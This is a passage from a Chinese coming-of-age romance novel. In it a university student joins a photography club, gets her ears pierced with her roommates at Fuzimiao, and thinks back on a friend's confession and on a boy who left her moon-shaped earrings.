人不在礼物肯定不能少。离开之前留了,去我房间拿,在抽屉里。 我在这边挺好的,别担心,你也好好上学。 徐澄月反反复复看了十分钟,才抱着烤鸽去岳清卓家。 猫对气味敏感,刚开门烤鸽就跳下去,里外梭巡一圈,没找着人,可怜地窝在她脚边喵。 徐澄月抱起它安抚,也打量着房间。小菀姑姑应该时常收拾,房间干爽整洁,窗开了半扇,气味不算闷。除了一些衣物,他以前用过的很多东西都还在,拼拼凑凑起来,仿佛他还在。 书桌抽屉第一格,他喜欢放作业本、草稿纸、笔之类常用的,拉开就能拿到,第二格放游戏机、卡牌,学累了也是手一伸,就能摸到,底层放一些重要东西,比如他收到的礼物,还有准备送人的礼物。 徐澄月蹲下,拉开抽屉,里面只放了两样东西。一个木雕摆件,一个蓝色丝绒小盒。 丝绒小盒里,是一只发卡和一对耳坠,都是月亮形状,躺在黑色的绒布上,静静地闪着细微的、银色的光。 74. 第 74 章 返校后,徐澄月过得平静、充实。 大一专业课占比不多,除了定时窝图书馆,她有大把属于自己的时间。先是重新拾起因高考短暂停掉的木雕,又加了两个社团。 宿舍几人都加了不少社团,但目的略有不同。陈卉敏是刚挣脱鸟笼的鸟儿,看什么都新鲜,如若不是她们拦着,那叠宣传单上的社团她都不会放过。林爽则是随大流,选择交由骰子,随性去几个当打发时间。社交达人黎映之,目的明确,去的都是些锻炼人,回报效益高的地方。 徐澄月只加了两个,一个雕塑,一个摄影。 加入摄影队这事十分巧合,那天在食堂对面校道等黎映之打饭,一个男生为拍照角度麻烦她挪位,她挪开几步,到他身后,就见他毫不讲究趴倒在地,镜头对着井盖。 这一幕让她分外熟悉。 她忍不住凑上去,想看他镜头里的被拍摄者。 是一只蚂蚁。 她突然笑了,原来真的会有人为了拍一只寻常蚂蚁,不顾形象和时间。 她的注视太过直白,男生察觉了,大概她当时陷在回忆里,露出让对方误以为是痴迷的表情,他熟练地从包里掏出来一张宣传单,问:“同学,来摄影队吗?” 她稀里糊涂去面试,虽然对摄影还处于半入门阶段,但凭着多年作为江韫北助拍的经验和对照片的敏感,以及摄影队队长——拍蚂蚁的大二学长,对她食堂外“痴迷”表情的深度艺术加工,就这样稀里糊涂加入了摄影队。 摄影队日常比较自由,也没太多事,只需要在学校举办大型节目时现场协助拍摄和日常拍图分享到学校摄影贴吧即可,加上她还在学习摸索阶段,空闲时间还算多。 她没有买相机,学长把队里的公用相机给她用,她一有空就拿出来琢磨,绕着学校逛逛拍拍,拿宿舍几人练手。学艺不精,倒也留下不少值得回忆的片刻。比如黎映之瞌睡时化妆把嘴唇涂成厚香肠,陈卉敏第一次网购买回来个可以躺一个她的花盆,种仙人球差点变成种陈卉敏,林爽和一个挑衅她的无礼男生掰手腕掰赢了为“女人都是手无缚鸡之力”这句偏见正名。 黎映之说,她手中捏着他们一沓黑历史,威胁她请客去夫子庙吃咸水鸭。 为之后的拍摄模特考虑,她接受了这个霸王要求。 周五晚上夫子庙很热闹,大多是学生,秦淮河上、小吃摊前、桥上、乌衣巷里,哪哪都是一堆人。 吃完鸭子不过瘾,黎映之请她们续摊,沿着继续吃。 途中遇到黎映之社团同学,她被叫走,几人在等赤豆元宵,顺道偷窥那男生单独和黎映之做什么。 徐澄月接过袋子和老板道谢,手臂就被两人扒拉,“哎哎嘶嘶”此起彼伏。 陈卉敏:“澄澄快看,那人给阿之送花!” 林爽:“好家伙,有备而来啊!” 徐澄月有点尴尬,既为黎映之被当街表白,也是为表白这件事本身。 三人鬼鬼祟祟地凑前,还没听个究竟,就见黎映之施施然回来,而那个男生蔫了吧唧捧着花离开。 “就这么结束了?”林爽叫道,显然看不够热闹。 “你拒绝啦?”陈卉敏的惊讶不必买到“浴盆”少。 黎映之记挂着吃,吞下半碗赤豆元宵,嘴一抹,才说:“啊拒绝了,我又不喜欢他。” “可是当街拒绝,会不会让人下不来台呀。”陈卉敏始终有替别人操心的习惯。 黎映之故作凶狠捏她脸,反问:“那为了他的面子我先假装答应他?” 陈卉敏皱眉,“但你会不开心哎。” 黎映之被气笑。 林爽一针见血:“换个角度想,他大庭广众之下表白,难道就没有小心思?不就是抓准这种不愿意让别人下不来台的心理,变相的道德绑架嘛。” 黎映之赞许地给她个眼神。 陈卉敏明白过来,“也对哦,喜欢是两个人的事,这么多人看着确实很尴尬。” 小插曲过后,几人继续逛。 黎映之敏感地发现徐澄月刚刚到现在一直沉默,正想关心一下,就听她问: “阿之,被表白,你会觉得尴尬吗?” “大庭广众的会,不过看我喜不喜欢,喜欢就不会。” 喜欢就不会。 徐澄月明白了,面对胡烁的表白,为什么第一时间会觉得尴尬。 国庆假期,胡烁曾单独约她出去,她以为是像暑假一块逛街或帮她卖木雕那种纯粹朋友间的约会,便欣然赴约。 为方便出行,她穿了一身运动装,而胡烁精心打扮过,当时她未察觉异常,以为是上大学后一些自然而然的装扮进化。 直到午餐,胡烁带她去了一家西餐厅,捧出一束花来时,她尴尬得恨不得撩起红桌布躲进桌底。 但出于尊重和这场告白前他们的情谊,她只能如坐针毡听完他对她产生感情的缘起发展和高潮,她不知道自己表情如何,只知道他停下来后,她的面部肌肉很酸。 她看着胡烁微红的脸,紧张到干燥的嘴唇和眼底毫不掩藏的期待,知道或许一束鲜花和一场述说无法全然表达这个男孩的热忱,但她仍旧选择拒绝。 因为不喜欢。 她想着事情,落在后面,林爽找不着人,回去拖她,四人手挎手横行。 街后头是一些饰品摊,陈卉敏从小被父母打扮得漂亮,对这些饰品很感兴趣,津津有味地一家一家看过去,最后选中一对耳环和一条手链。 但她没有打耳洞,边上就有一家首饰专卖店,也给人打耳洞,她有些心动,却害怕寒假回家被父母发现。 两边打了五个洞的黎映之告诉她,她已经成年了,有些事可以自己做决定,喜欢就去尝试,父母未必是对的,也未必要全部听他们的。 “真的?”她急迫寻找更多认同,助长自己的胆量。 “我觉得对,”徐澄月点头,像有什么力量驱使,拉起她,“你要想打,我陪你。” “真的!”陈卉敏激动抓住她,像作战遇到友军。 徐澄月看着橱窗里那把银色工具,“嗯,我也想试试。” 她们进了那家店。 黎映之还在安慰陈卉敏一点也不疼,徐澄月倒想起小学时期体检,要抽指甲血,那个银色尖尖的针头,从指甲缝里刺进去,那是种现在想起都会叫她头皮发麻的痛。 显然,打耳洞的痛,比它轻多了。 - 夫子庙逛完回去,几人累得够呛。 徐澄月在整理照片,让她们先洗澡。 整理到一半,□□弹出一条视频通话邀请。 是她和岳清卓何意霖三人的小群。 徐澄月点开,被头发炸起来脸怼到镜头前的岳清卓,吓得把椅子蹬后一步。 她心有余悸:“大晚上的演贞子啊?” 穿着厚睡衣坐 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徐澄月调侃:“还是我们家清卓魅力大,迷倒一片未来警察叔叔,哎不对,警校不是不让谈恋爱吗?” “原则上不让,但也没完全禁止,行为不过分就行。” 何意霖玩笑,“就没一个看上的?看上了试试也行。” 岳清卓拍案而起,“靠!我是来当警察的,不是来干这干那的!” “那如果是……”何意霖看向徐澄月的镜头,两人相视一笑,还没问完,被她截断。 “我决定了,下次再有谁来,撂倒我先!”跆拳道黑段散打中级四段的人,在黑黢黢的操场上发出怒吼。 镜头另两端的人震了震,为她未来的另一半担忧。 十点半警校要熄灯,岳清卓先下线。 剩下俩人继续聊,分享彼此最近的生活,说到激动处难以用普通话表达,迅速换了方言,为只有两人懂的点大笑。 舍友们都洗漱好喊她去,徐澄月和她道别,准备下线,又被她叫住。 “怎么了?” 何意霖犹豫片刻,“韫北,最近有和你们联系吗?” 徐澄月垂眸,视线落在置物柜里的蓝色丝绒小盒,“国庆那会有,最近没有,也不知道在忙什么。” “可能还在适应那边的环境吧,过年会回来吗?” “不知道。” “要是有回来,叫上我,咱一块聚聚吧。” “好啊,那我先去洗澡,回家见!” 徐澄月挂断视频,拿出那对耳环。银色月牙,边缘镶着几颗碎钻,像月亮凹凸不平的表面。 她摸上耳垂,还有些灼热,丝丝疼。 她把打耳洞那会的冲动归结于团伙作案,毕竟人是感官动物,有时候难以摆脱环境的驱使。 洗完衣服进来的黎映之,见她手里动作,提醒:“手不要碰耳垂,当心感染,换耳环也要一周后,先让它适应适应。” “嗯,”徐澄月把耳环放回去,盒子丢到置物柜底下,“我不戴。” 洗漱好上床,她不忘给方之敛通报消息:“清卓最近对表白比较反感,切勿触霉头。” 放下手机闭眼,翻来覆去睡不着,脑子里总回放着胡烁那天问她的话。 “我猜到你不会答应我。澄月,你喜欢江韫北对不对?”